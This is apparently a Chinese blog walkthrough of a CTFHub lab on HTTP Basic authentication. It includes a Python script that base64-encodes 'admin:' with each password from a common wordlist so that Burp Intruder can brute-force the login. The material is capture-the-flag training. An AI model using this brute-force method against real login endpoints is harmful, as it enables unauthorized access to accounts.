ctfhub技能树—web前置技能—http协议—基础认证

 

打开靶机环境

 

 

 下载附件后发现是常用密码字典,于是考虑本题可能是考察密码爆破

 

 

 打开环境

发现需要认证,于是考虑使用暴力破解

 

 

 发现需要认证,于是考虑使用暴力破解

 

 

 使用burpsuite抓包,查看

 

 

 发现最下面一行有加密后的密文

使用base64解码

 

 

 

 

 

 

 

 发现是刚刚输入用于验证的账号密码

于是使用脚本把密码进行加密

附上脚本

#! /usr/bin/env python3 # _*_ coding:utf-8 _*_

import base64

# 字典文件路径

dic_file_path = './10_million_password_list_top_100.txt'

with open(dic_file_path, 'r') as f:

  password_dic = f.readlines()

username = 'admin:' # 用户名

for password in password_dic:

str1=str.encode(username + password.strip())

encodestr = base64.b64encode(str1)

encodestr=str(encodestr)

encodestr=encodestr.strip('b\'')

encodestr=encodestr.replace("=","\=") #避免“=”被转译

print(encodestr)

 

运行后输出加密后的密文

 

 

使用密文进行爆破

设置爆破的位置

 

 

导入密码字典

 

开始爆破

 

 开始爆破

 

 成功拿到正确密码(密码是随机的,需要自己爆破)

解码

 

 

 

 输入验证

 

 

 验证成功拿到flag

 参考文件:https://www.cnblogs.com/anweilx/p/12410622.html

posted @ 2021-06-27 14:35  夜听孤雨  阅读(199)  评论(0)    收藏  举报